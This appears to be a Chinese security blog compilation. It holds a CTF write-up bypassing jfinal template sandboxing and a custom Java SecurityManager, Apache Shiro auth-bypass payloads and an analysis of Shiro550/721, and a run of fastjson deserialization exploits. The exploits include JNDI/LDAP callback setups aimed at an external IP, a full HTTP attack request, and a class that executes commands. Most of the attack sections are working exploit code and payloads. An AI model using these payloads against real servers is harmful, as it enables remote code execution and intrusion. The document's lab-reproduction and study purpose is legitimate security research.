JavaWeb 内存马一周目通关攻略

Java Instrumentation

memShell

ZhouYu

dumpclass

copagent

Unsecure Blog

这道题主要有两个考点是比较难的,分别是绕过ssti和Security Manager。前面的部分比较简单,弱密码111111进入后台,然后审计代码发现修改博客这里的预览功能存在ssti。对应于com.jfinal.app.blog._admin.blog.BlogAdminController::preview方法

image-20211020162518238

SSTI绕过

jfinal自带的模板引擎虽然宣称可以像写java代码一样去写模板,但是在模板中还是存在安全防护的。比如一些敏感的方法是不允许被调用的。黑名单如下,定义在com.jfinal.template.expr.ast.MethodKit

String[] ms = new String[]{"getClass", "getDeclaringClass", "forName", "newInstance", "getClassLoader", "invoke", "notify", "notifyAll", "wait", "exit", "loadLibrary", "halt", "stop", "suspend", "resume", "removeForbiddenClass", "removeForbiddenMethod"};

针对以上黑名单的过滤,结合题目的依赖,可以发现两种绕过姿势。

一是利用了ehcache依赖,使用net.sf.ehcache.util.ClassLoaderUtil::createNewInstance方法实现危险类的实例化。这个方法的作用是根据给定的类名去创建一个该类的对象,比如我们可以创建一个ScriptEngineManager对象,进而拿到js引擎,来实现任意js代码执行,下面第二种方法的最终目的也是拿到这个js引擎对象。

#set(x=net.sf.ehcache.util.ClassLoaderUtil::createNewInstance("javax.script.ScriptEngineManager"))
#set(e=x.getEngineByName("js")) 
#(e.eval(jscode))

二是利用fastjson依赖,这种方法太骚了,手动设置autoTypeSupport为true(否则fastjson无法反序列化ScriptEngineManager),然后就可以反序列化自己想要的对象了

#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance()) 
#(x.setAutoTypeSupport(true)) #(x.addAccept("javax.script.ScriptEngineManager")) #set(a=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))

Security Manager绕过

绕过ssti后,已经可以执行js代码了,但是本题还存在Security Manager的限制,导致代码执行起来没有那么得心应手。Security Manager的介绍请看这篇文章(绝对的良心好文)。文章中详细介绍了sm及绕过方式,是基于java代码层面的,本题中是需要通过js代码来进行绕过,不过绕过的核心思想都是一样的。

/*    */ package com.jfinal.app.security;
/*    */ 
/*    */ import java.security.Permission;
/*    */ 
/*    */ 
/*    */ 
/*    */ 
/*    */ public class ForbiddenSecurityManager
/*    */ {
/*    */   public static void setSecurityManager() {
/* 11 */     SecurityManager oldSecurityManager = System.getSecurityManager();
/* 12 */     if (oldSecurityManager == null) {
/* 13 */       SecurityManager execSecurityManager = new SecurityManager() {
/*    */           private void check(Permission permission) {
/* 15 */             if (permission instanceof java.io.FilePermission) {
/* 16 */               String actions = permission.getActions();
/* 17 */               if (actions != null && actions.contains("execute"))
/* 18 */                 throw new SecurityException("cant execute file!"); 
/* 19 */               if (actions != null && actions.contains("write") && 
/* 20 */                 permission.getName().endsWith(".dll")) {
/* 21 */                 throw new SecurityException("cant create dll file");
/*    */               }
/*    */             } 
/*    */             
/* 25 */             if (permission instanceof RuntimePermission) {
/* 26 */               String name = permission.getName();
/* 27 */               if (name != null && name.contains("setSecurityManager")) {
/* 28 */                 throw new SecurityException("cant overwrite SecurityManager!");
/*    */               }
/*    */             } 
/*    */           }
/*    */ 
/*    */           
/*    */           public void checkPermission(Permission perm) {
/* 35 */             check(perm);
/*    */           }
/*    */ 
/*    */           
/*    */           public void checkPermission(Permission perm, Object context) {
/* 40 */             check(perm);
/*    */           }
/*    */         };
/* 43 */       System.setSecurityManager(execSecurityManager);
/*    */     } 
/*    */   }
/*    */ }

这题能用的姿势是直接使用反射调用ProcessImpl::start(即Runtime::exec的底层实现),其他的我也有尝试,后来发现唯有以下这种能行得通。

var clz = Java.type('java.lang.String[]').class; 
var rclz = Java.type('java.lang.ProcessBuilder.Redirect[]').class; 
var bclz = Java.type('boolean').class; 
var pclz = Java.type('java.lang.ProcessImpl').class; 
var cmd = java.lang.reflect.Array.newInstance(java.lang.String.class, 3); 
java.lang.reflect.Array.set(cmd, 0, 'cmd.exe'); 
java.lang.reflect.Array.set(cmd, 1, '/c'); 
java.lang.reflect.Array.set(cmd, 2, 'whoami'); 
var m = pclz.getDeclaredMethod('start', clz, java.util.Map.class, java.lang.String.class, rclz, bclz); 
m.setAccessible(true); 
var inputStream = m.invoke(null, cmd, null, null, null, false).getInputStream(); 
var stringBuilder = new java.lang.StringBuilder(); 
var reader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream)); 
var line = null; 
while ((line = reader.readLine())!=null) { 
 stringBuilder.append(line); 
 stringBuilder.append("\n"); 
} 
stringBuilder.toString();

后话

到这里这题也就基本结束了,能rce了之后就是简单的导出注册表然后就拿到flag了。但是在此之后我尝试自己构造一些别的绕过sm的js代码,结果是都失败了。

下面列举出一些失败的尝试,避免跟我一样走弯路。

首先是使用反射设置所有栈桢的ProtectionDomain的hasAllPerm属性为true。

var stackTraceElements=java.lang.Thread.currentThread().getStackTrace();
for(var i=0;i<stackTraceElements.length;i++){
    try{
        var stackTraceElement=stackTraceElements[i];
        var clz = java.lang.Class.forName(stackTraceElement.getClassName());
        var getProtectionDomain = clz.getClass().getDeclaredMethod('getProtectionDomain0', null);
        getProtectionDomain.setAccessible(true);
        var pd = getProtectionDomain.invoke(clz);
        if (pd!=null){
            var field = pd.getClass().getDeclaredField('hasAllPerm');
            field.setAccessible(true);
            field.set(pd, true);
        }
    }catch(e){}
}
java.lang.Runtime.getRuntime().exec('calc');

构造完之后一打,发现得到了这样的报错,很明显是被sm拦了下来。

image-20211020210741819

仔细看题目自定义的sm就会发现,题目环境跟上面推荐的博客的实验环境是有差别的。博客的实验环境通过命令行来配置sm,使用的是jdk自带的sm实现,在他的checkPermission方法中调用了java.security.AccessController::checkPermission,这个方法就会自顶向下去检查各个栈桢的ProtectionDomain,是否满足权限,包括会去处理doPrivileged。

然而这题使用的是自定义的sm,它重写了checkPermission方法,并没有去调用java.security.AccessController::checkPermission,而是统一调用自己写的check方法,完全不涉及到遍历栈桢检查权限的问题。所以我们这样去修改栈桢权限是根本没用的。当执行java.lang.Runtime.getRuntime().exec('calc');时,触发check函数,走到if (actions != null && actions.contains("execute"))分支,就挂了

/*    */           private void check(Permission permission) {
/* 15 */             if (permission instanceof java.io.FilePermission) {
/* 16 */               String actions = permission.getActions();
/* 17 */               if (actions != null && actions.contains("execute"))
/* 18 */                 throw new SecurityException("cant execute file!"); 
/* 19 */               if (actions != null && actions.contains("write") && 
/* 20 */                 permission.getName().endsWith(".dll")) {
/* 21 */                 throw new SecurityException("cant create dll file");
/*    */               }
/*    */             } 
/*    */             
/* 25 */             if (permission instanceof RuntimePermission) {
/* 26 */               String name = permission.getName();
/* 27 */               if (name != null && name.contains("setSecurityManager")) {
/* 28 */                 throw new SecurityException("cant overwrite SecurityManager!");
/*    */               }
/*    */             } 
/*    */           }

此外,通过类加载器来绕过sm的思路也是行不通。它的思想是写一个类加载器去加载恶意类EvilClass,然后给这个类赋予所有权限,然后再在这个类中去调用AccessController.doPrivileged。因为调用了doPrivileged,所以检查权限时到EvilClass就会截至,而EvilClass拥有所有权限,所以能绕过。

然而,就如上面的分析,这里使用的不是jdk自带的sm,用原来的绕过方式是行不通的。

public class EvilClass {
    public EvilClass() {
    }

    static {
        AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                try {
                    Process var1 = Runtime.getRuntime().exec("calc");
                    return null;
                } catch (Exception var2) {
                    var2.printStackTrace();
                    return null;
                }
            }
        });
    }
}

那么反射调用ProcessImpl::start为什么可以打通呢?

var clz = Java.type('java.lang.String[]').class; 
var rclz = Java.type('java.lang.ProcessBuilder.Redirect[]').class; 
var bclz = Java.type('boolean').class; 
var pclz = Java.type('java.lang.ProcessImpl').class; 
var cmd = java.lang.reflect.Array.newInstance(java.lang.String.class, 3); 
java.lang.reflect.Array.set(cmd, 0, 'cmd.exe'); 
java.lang.reflect.Array.set(cmd, 1, '/c'); 
java.lang.reflect.Array.set(cmd, 2, 'whoami'); 
var m = pclz.getDeclaredMethod('start', clz, java.util.Map.class, java.lang.String.class, rclz, bclz); 
m.setAccessible(true); 
var inputStream = m.invoke(null, cmd, null, null, null, false).getInputStream(); 
var stringBuilder = new java.lang.StringBuilder(); 
var reader = new java.io.BufferedReader(new java.io.InputStreamReader(inputStream)); 
var line = null; 
while ((line = reader.readLine())!=null) { 
 stringBuilder.append(line); 
 stringBuilder.append("\n"); 
} 
stringBuilder.toString();

debug看看使用这种打法会触发什么权限检查

调用getDeclaredMethod时,会触发RuntimePermission的检查

image-20211020212451716

在调用setAccessible时,会触发ReflectPermission的检查

image-20211020212725141

回看一下题目环境中的check函数,RuntimePermission有处理,不过只ban掉了name包含setSecurityManager的情况。我们这里name是accessDeclaredMembers,所以不会被ban。而ReflectPermission就更舒服了,压根没限制。因此这种直接反射调用ProcessImpl::start的打法就奏效了

参考文章

java沙箱绕过

前段时间跟完了shiro550和721两个经典的反序列化漏洞,想把shiro学的更全面一些,于是接着来跟一下shiro的权限绕过。本文是参考xq17师傅的文章进行复现,仅做一些补充和个人记录。以下cve如无特殊说明,均是在springboot1.5.22.RELEASE版本下进行。

<=1.4.2

原理概述

/hello/*的拦截规则无法拦截/hello/1/,而/hello/1/能够获取/hello/1一样的资源

payload

/hello/1为受限资源

/hello/1/

CVE-2020-1957

利用条件

  1. shiro<=1.5.1
  2. spring版本最好为1.x.x

原理概述

这个漏洞的是由于shiro和spring处理的请求路径不一致造成的,shiro在处理请求时将;后面的路径都忽略,然后取得对应的过滤器进行拦截。spring处理请求时则不会将;后面的路径忽略,并且会解析..

在1.5.2版本的修复中可以发现,shiro将处理路径的代码与spring进行了统一。

payload

/fsdf;/../hello/1111
/fsdf/..;/a;aaa;a/..;/hello/1

注意事项

  1. 复现时注意springboot版本,低版本会对路径中的..进行解析处理,高版本则不会。

  2. 复现时尽量使用bp抓包更改路径。比如如下payload

    /fsdf;/../hello/1231
    

    直接使用火狐请求这个路径无法绕过,而使用bp则可以。原因是浏览器自作聪明的帮我们解析了..导致payload无效。

    使用火狐发送上面的payload,bp抓包得到的是。可以发现,..被浏览器解析了。

    image-20210817124811289

    直接在bp改包即可成功

    image-20210817124758774

CVE-2020-11989

利用条件

  1. shiro<=1.5.2
  2. 方式1需要接口接收String类型的参数
  3. 方式1要求路径限制为*,不能是**
  4. 方式2需要项目配置context-path

原理概述

方式一是由于shiro在处理请求路径时会双url解码,比如/shiro/hello/luanxie%25%32%661 被解码成了/shiro/hello/luanxie/1,这个路径不会被拦截。而spring在解析时仅进行了一次url解码,得到的就是/shiro/hello/luanxie%2f1,实现绕过。

在说方式二之前,与1.5.1做一个衔接。为了修复1.5.1的漏洞,shiro将url的处理方式与spring进行了统一,改成了如下方式。但是在request.getContextPath()中出现了问题,这个函数的作用就是得到context-path,但是在获取过程中没有做特殊处理,传入/;/shiro/hello/hi,直接返回了/;/shiro。接下来的原因就跟1.5.1的漏洞相同了,;后的路径直接被shiro截断,导致了绕过。

public static String getRequestUri(HttpServletRequest request) {
    String uri = (String)request.getAttribute("javax.servlet.include.request_uri");
    if (uri == null) {
    uri = valueOrEmpty(request.getContextPath()) + "/" + valueOrEmpty(request.getServletPath()) + valueOrEmpty(request.getPathInfo());
    }

    return normalize(decodeAndCleanUriString(request, uri));
}

payload

方式一

#shiro是context-path,没有设置可以不写。这里为了和方式二共用一个环境所以设置了
/shiro/hello/luanxie%25%32%661 

方式二

/;/shiro/hello/hi

CVE-2020-13933

利用条件

  1. shiro<=1.5.3
  2. 路径限制为*,不能是**

原理概述

首先getPathWithinApplication会先把/hello/%3b123处理成/hello/(即删除;后面的内容)

getChain函数在处理路径时,会将末尾的/删除,而/hello/*这种通配符不能匹配/hello,就导致了绕过。

image-20210817151631955

如果不将;进行编码,spring在处理时会把;后面的内容忽略,得到的是/hello/,无法与/hello/*的控制器方法匹配

image-20210817154532477

注意点

前面讨论CVE-2020-1957时我们说spring处理请求时则不会将;后面的路径忽略,并且会解析..,而这里我们又说spring会将;后面的路径忽略,下面具体看一下源码究竟是怎么回事。

在spring解析路径准备找controller处理请求时,会调用UrlPathHelper:getPathWithinServletMapping。只需要搞明白这个函数上面的问题就能理解了。这个函数的作用可以简单的理解成返回请求路径。

image-20210817161056714

看看CVE-2020-1957,我们发送payload/fsdf;/../hello/1111

断点停在UrlPathHelper:getPathWithinServletMapping,这个函数的返回的是servletPath,它是通过this.getServletPath(request);获取的

image-20210817162855954

这个getServletPath(request)底层就是调用了servlet的实现得到请求路径,会处理..;,得到的最终结果是/hello/1111

image-20210817162530415

再看看正在分析的CVE-2020-13933,如果不将;进行编码,发送payload/hello/;123UrlPathHelper:getPathWithinServletMapping获取到的路径就是是/hello/,将通过这个路径去找对应的Controller方法。

总结一下就是,如果;..同时出现,将不会忽略掉;后面的内容,而是先解析..。如果单独出现;,则会忽略它后面的内容。

payload

/hello/%3b123

CVE-2020-17523

利用条件

  1. shiro<=1.6.0
  2. 方式二的利用条件是springboot开启了全路径模式,springboot>=2.3.0RELEASE默认开启了该模式

原理概述

方式一是利用了shiro在拆分请求路径时的问题,/hello/{空格}被拆分成了hello,空格被忽略了。导致/hello/*无法匹配/hello。而spring却能正确拆分/hello/{空格},进而正确解析该请求,从而实现了绕过。

方式二是由于shiro在处理请求路径时,调用getServletPath(),它会解析...使得如下payload发生变化,然后末尾的/又会被删除,导致/hello/*无法匹配/hello,实现绕过。

/hello/%2e  ->  /hello/
/hello/%2e/  ->  /hello/
/hello/%2e%2e/  ->  /

payload

方式一

/hello/%20

方式二

/hello/%2e
/hello/%2e/
/hello/%2e%2e/

参考文章

Shiro 权限绕过的历史线(上)

Shiro权限绕过漏洞分析(CVE-2020-1957)

shiro550

利用条件

  1. shiro<=1.2.4

shiro550这个反序列化漏洞整体逻辑比较简单。详细分析参考H0t-A1r-B4llo0n师傅的文章,写得非常通俗易懂,非常详细。

这里进行简单总结

shiro在用户成功登录并且要求rememberMe的情况下,会将principals(可看作是用户名)记录到cookie中。在记录时,并非明文存储,而是经过了序列化->aes加密->base64编码然后再存到cookie中。

问题就出在aes加密,因为它的密钥是以静态变量的形式定义在了代码中,是写死的,如果用户不进行修改,那么就可以伪造rememberMe这个cookie。

然后,在服务器接收到请求时,会先检查rememberMe,如果不为空且不等于”deleteMe”,则会尝试base64解码->aes解密->反序列化。前面我们已经能拿到aes密钥,能伪造rememberMe,那这里就相当于拥有了一个反序列化的入口了,下面就可以尝试各种反序列化poc了。

shiro721

利用条件

  1. shiro<=1.4.1

721生成密钥的方式

首先看看721和550有什么区别,前面我们知道550的密钥是以硬编码的形式写在了代码中。那么721的做法是怎样的呢?

根据如下的调用栈可以看出,721的密钥采用了随机函数生成,修复了550的漏洞。

engineGenerateKey:115, AESKeyGenerator (com.sun.crypto.provider)
generateKey:546, KeyGenerator (javax.crypto)
generateNewKey:62, AbstractSymmetricCipherService (org.apache.shiro.crypto)
generateNewKey:43, AbstractSymmetricCipherService (org.apache.shiro.crypto)
<init>:99, AbstractRememberMeManager (org.apache.shiro.mgt)
<init>:87, CookieRememberMeManager (org.apache.shiro.web.mgt)
<init>:76, DefaultWebSecurityManager (org.apache.shiro.web.mgt)

image-20210816143634402

具体流程

721相对550来说涉及到的知识点更广,需要对密码学知识有一定的了解理解起来才会比较轻松。由于我们不再能像550那样直接得到密钥,所以要想伪造cookie就需要使用更复杂的攻击手段,其中涉及到了padding oracle和cbc翻转攻击。核心的公式就如下两个,不过理解起来还是比较费劲的。

∵  FuzzIV[8]   ^   MediumValue[8]   =   PlainText[8]   =   0x01
∴  MediumValue[8]   =   FuzzIV[8]   ^   0x01
∵  PlainText(n+1) = CipherText(n) ^ Block_Cipher_Decryption(C(n+1))
∴  CipherText(n) = PlainText(n+1) ^ Block_Cipher_Decryption(C(n+1))

具体的流程参考H0t-A1r-B4llo0n师傅,分为两篇。

这里仅记录一些我认为有问题的点。

上篇

首先是在上中padding oracle的分析中,对于每一个分组的最后一个字节的爆破(即MediumValue[8],假设每组大小为8)。根据下面这个公式,IV是已知的,我们只需要得到正确的FuzzIV[8]即可得到MediumValue[8]

∵   FuzzIV[8]   ^   MediumValue[8]   =   PlainText[8]   =   0x01
∴   MediumValue[8]   =   FuzzIV[8]   ^   0x01

但是实际上并没有这么简单,因为我们无法确保padding正确时,PlainText[8]一定是0x01。就比如如下测试,我们按照从0到255的顺序遍历FuzzIV[8]

def xor(a,b):
    a=[int(i,16) for i in a.split(" ")]
    b=[int(i,16) for i in b.split(" ")]
    s=""
    for i in range(len(a)):
        s+=hex(a[i]^b[i])+" "
    return s

fuzziv="0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x01"

iv="0x39 0x73 0x23 0x32 0x5A 0x3B 0x00 0x04"
MediumValue="0x29 0x34 0x5A 0x6B 0x07 0x00 0x02 0x06"

print "plain: "+xor(iv,MediumValue)


for i in range(0,256):
    fuzz = "0x00 0x00 0x00 0x00 0x00 0x00 0x00 %s"%hex(i)
    print xor(fuzz,MediumValue)

当FuzzIV[8]=0x04时,计算结果如下。很明显,这是正确的padding。然而FuzzIV[8] ^ MediumValue[8] = 0x02而不是0x01

FuzzIV = "0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x04"
MediumValue = "0x29 0x34 0x5A 0x6B 0x07 0x00 0x02 0x06"
FuzzIV ^ MediumValue = 0x29 0x34 0x5a 0x6b 0x7 0x0 0x2 0x2

如果此时,我们使用如下公式来计算MediumValue[8],那就出大错了。

MediumValue[8]   =   FuzzIV[8]   ^   0x01

那么正确的做法应该是怎样的呢?查看python paddingoracle模块作者的做法就明白了,在paddingoracle.py的bust函数中。作者使用了重试的做法来解决这个问题,只要某一个FuzzIV[8]可以使padding正确,就尝试继续往下爆破,如果走不通,再回来重新爆破FuzzIV[8],重新爆破时,是从上一次错误的位置开始的。这里有一个疑问,如果FuzzIV[8]错误了,并且继续爆破的时候一错再错,会不会导致算错误?这个问题暂且放这,不在深究。

下篇

作者此处的计算是有问题的,正确算法如下

pad = block_size - (len(plaintext) % block_size)
pad = 16-(279%16)=16=7=9

image-20210816141235550

参考文章

CVE-2016-4437 Shiro550 ( Apache Shiro RememberMe 1.2.4 反序列化漏洞 ) 分析

CVE-2019-12422 Shiro721 ( Apache Shiro RememberMe Padding Oracle 1.4.1 反序列化漏洞) 分析-上

CVE-2019-12422 Shiro721 ( Apache Shiro RememberMe Padding Oracle 1.4.1 反序列化漏洞) 分析-下

[TOC]

出网

trustURLCodebase限制

  • rmi:

    JDK 6u132、 JDK 7u122、JDK 8u113之前

  • ldap:

    JDK 11.0.1、8u191、7u201、6u211之前

fastjson1.2.24(JdbcRowSetImpl)

限制条件

  1. fastjson<=1.2.24,在此之后在ParseConfig类中新增了checkAutoType函数过滤反序列化的类
  2. 无com.sun.jndi.rmi.object.trustURLCodebase限制,可以加载远程的类

反序列化链

setAutoCommit:4067,JdbcRowSetImpl
setValue:96,FieldDeserializer //反射调用传入类的set函数
deserialze:600, JavaBeanDeserializer 通过循环调用传入类的共有set,get,is函数
parseObject:368,DefaultJSONParser 解析传入的json字符串
public class JdbcRowSetImpl extends BaseRowSet implements JdbcRowSet, Joinable {
    public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();//[1]
            this.conn.setAutoCommit(var1);
        }
    }
    
    private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());//[2]
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
    }
}

RMI调用流程(续[2])

角色说明

  1. 被攻击:主机A
  2. 恶意JAVA类:主机B
  3. RMI服务(Remote Method Invocation远程方法调用):主机C

调用流程

  1. 黑客使用payload攻击主机A(该payload需要指定rmi/ldap地址)
  2. 引发主机A反序列化漏洞,使主机A发出远程调用请求,去连接提供RMI服务的主机C
  3. 主机C的rmi服务指定加载主机B的恶意java类,所以主机A通过主机C的rmi服务最终加载并执行主机B的恶意java类,引发恶意系统命令执行

poc

测试环境来源于vulhub

  1. 启动主机B

    python3 -m http.server 39653
    
  2. 启动主机C

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  "http://121.5.40.245:39653/#Exploit" 39655
    
  3. 向主机A发送payload

    POST / HTTP/1.1
    Host: 121.5.40.245:8090
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/json
    Content-Length: 161
    
    {
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"rmi://121.5.40.245:39655/Exploit",
            "autoCommit":true
        }
    }
    

fastjson1.2.41(JdbcRowSetImpl)

利用条件

  1. fastjson<=1.2.41

  2. AutoTypeSupport=true

    这一点使得这个链比较鸡肋,默认这个属性是false的,也就是说正常情况下这个漏洞不存在。

  3. 无com.sun.jndi.rmi.object.trustURLCodebase限制,可以加载远程的类

反序列化链

基本流程跟1.2.24相同,区别在于24以后对反序列化链做了黑名单过滤。绕过的方式是在全类名前后分别添加L;,这样就会导致能够绕过黑名单过滤,并且在类加载时,因为有如下代码,导致可以正确加载类

public class TypeUtils {
    else if (className.startsWith("L") && className.endsWith(";")) {
        String newClassName = className.substring(1, className.length() - 1);
        return loadClass(newClassName, classLoader);
    } 
}

payload

{
    "b":{
        "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
        "dataSourceName":"ldap://121.5.40.245:39655/ExploitWin",
        "autoCommit":true
    }
}

fastjson1.2.42(JdbcRowSetImpl)

利用条件

  1. fastjson<=1.2.42

  2. AutoTypeSupport=true

    这一点使得这个链比较鸡肋,默认这个属性是false的,也就是说正常情况下这个漏洞不存在。

  3. 无com.sun.jndi.rmi.object.trustURLCodebase限制,可以加载远程的类

反序列化链

基本流程跟1.2.41相同,42和41的区别在于42对L;这种绕过方式做了过滤。绕过方式很简单,双写一下L;即可

public class ParserConfig {
    public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        //这个if条件会得到满足,然后就把L;前后缀给截掉了
        if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
                    className = className.substring(1, className.length() - 1);
                }
    }
}

payload

{
    "b":{
        "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
        "dataSourceName":"ldap://121.5.40.245:39655/ExploitWin",
        "autoCommit":true
    }
}

fastjson1.2.43(JdbcRowSetImpl)

利用条件

  1. fastjson<=1.2.43

  2. AutoTypeSupport=true

    这一点使得这个链比较鸡肋,默认这个属性是false的,也就是说正常情况下这个漏洞不存在。

  3. 无com.sun.jndi.rmi.object.trustURLCodebase限制,可以加载远程的类

反序列化链

基本流程跟1.2.42相同,43和42的区别在于42对LL;;这种绕过方式做了过滤。过滤的方式也很简单粗暴,就是不允许双写LL;;

public class ParserConfig {
    public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        
        if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
                if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
                    throw new JSONException("autoType is not support. " + typeName);
                }

                className = className.substring(1, className.length() - 1);
            }
    }
}

绕过的方式是利用数组,还是熟悉的loadClass函数,这一次利用这个else分支来进行绕过

public class TypeUtils {
    else if (className.charAt(0) == '[') {
        Class<?> componentType = loadClass(className.substring(1), classLoader);
        return Array.newInstance(componentType, 0).getClass();
    }
}

payload

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://121.5.40.245:39655/ExploitWin", "autoCommit":true}

fastjson1.2.45(JndiDataSourceFactory)

官方对1.2.24的修复是增加了一个ParseConfig类中新增了checkAutoType函数过滤反序列化的类,但是过滤的不全,可以利用JndiDataSourceFactory类来bypass。

利用条件

  1. fastjson<=1.2.45
  2. 项目依赖mybatis
  3. 无com.sun.jndi.rmi.object.trustURLCodebase限制,可以加载远程的类

payload

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}

fastjson1.2.47(JdbcRowSetImpl)

利用条件

  1. fastjson<=1.2.47

  2. 无com.sun.jndi.rmi.object.trustURLCodebase限制,可以加载远程的类

    我本机的java版本是1.8.0_144,使用ldap没有限制,而rmi就有限制了,注意这个坑。

反序列化链

首先看payload。在1.2.47的版本中,最大的问题就是在于fastjson在反序列化时如果遇到Class对象,会自动缓存,下次遇到反序列化Class类对应的对象时,就直接从缓存中拿到该对象的Class,取到就直接返回了。由于从缓存中取是优先于黑名单类判断的,导致可以绕过黑名单类的限制。

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit","autoCommit":true}}}
  1. 首先解析a,将com.sun.rowset.JdbcRowSetImpl类的Class缓存

    public class DefaultJSONParser implements Closeable {
        public final Object parseObject(Map object, Object fieldName) {
            obj = deserializer.deserialze(this, clazz, fieldName);//[1]反序列化对象
        }
        
    }
    
    public class MiscCodec implements ObjectSerializer, ObjectDeserializer {
        public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
            if (clazz == Class.class) {
                                return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());//[2]如果是Class类的对象,则加载strVal指定类名的Class对象
                            }
        }
    }
    
    public class TypeUtils {
        public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
            ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
            if (contextClassLoader != null && contextClassLoader != classLoader) {
                clazz = contextClassLoader.loadClass(className);//调用类加载器加载类
                if (cache) {
                    mappings.put(className, clazz);//[3]将类名和Class对象的信息缓存起来
                }
    
                return clazz;
            }
        }
    }
    
  2. 解析b,利用缓存绕过checkAutoType

    public class ParserConfig {
        public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
            if (clazz == null) {
                clazz = TypeUtils.getClassFromMapping(typeName);//[1]
            }
        }
        
        public static Class<?> getClassFromMapping(String className) {
            return (Class)mappings.get(className);//[2]从缓存中取clazz
        }
        
        if (clazz != null) {
            if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            } else {
                return clazz;//[2]缓存中找到clazz,返回clazz
            }
        }
        //黑名单类检测在下面,还未执行到就已经返回。
    }
    

poc

测试环境来源于vulhub

  1. 启动主机B

    python3 -m http.server 39653
    
    public class ExploitWin {
       static{
            try {
                Runtime.getRuntime().exec("calc");
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        public static void main(String[] args){}
    }
    
  2. 启动主机C

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://121.5.40.245:39653/#ExploitWin" 39655
    
  3. 发送payload

    import com.alibaba.fastjson.JSON;
    
    public class Poc {
        public static void main(String[] args) {
            String payload="{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://121.5.40.245:39655/ExploitWin\",\"autoCommit\":true}}}";
            JSON.parse(payload);
        }
    }
    

    image-20210601153820490

fastjson1.2.62(JndiConverter)

checkAutoType过滤不全,可以利用JndiConverter类来bypass。

利用条件

  1. fastjson<=1.2.62

  2. AutoTypeSupport=true

  3. 项目依赖xbean-reflect

    <dependency>
        <groupId>org.apache.xbean</groupId>
        <artifactId>xbean-reflect</artifactId>
        <version>4.18</version>
    </dependency>
    
  4. 无com.sun.jndi.rmi.object.trustURLCodebase限制,可以加载远程的类

反序列化链

json传入一个asText变量,在反序列化时会触发setAsText,然后调用toObjectImpl触发rmi调用。有趣的是,这里实际上不存在一个asText字段,但是在反序列化时,无论字段是否存在,只要能找到对应的setter方法,就会进行调用。

public class JndiConverter extends AbstractConverter {
    public JndiConverter() {
        super(Context.class);
    }

    protected Object toObjectImpl(String text) {
        try {
            InitialContext context = new InitialContext();
            return (Context)context.lookup(text);//[2]
        } catch (NamingException var3) {
            throw new PropertyEditorException(var3);
        }
    }
}

public abstract class AbstractConverter extends PropertyEditorSupport implements Converter {
    public final void setAsText(String text) {
        Object value = this.toObject(this.trim ? text.trim() : text);//[1]
        super.setValue(value);
    }
}

payload

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://121.5.40.245:39655/ExploitWin"}

fastjson1.2.66

利用条件

  1. fastjson<=1.2.66
  2. AutoTypeSupport=true
  3. 具有对应的依赖
  4. 无com.sun.jndi.rmi.object.trustURLCodebase限制,可以加载远程的类

payload

以下的payload均未做测试,应该跟1.2.62的差不多,都是利用类过滤不全造成的漏洞。

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
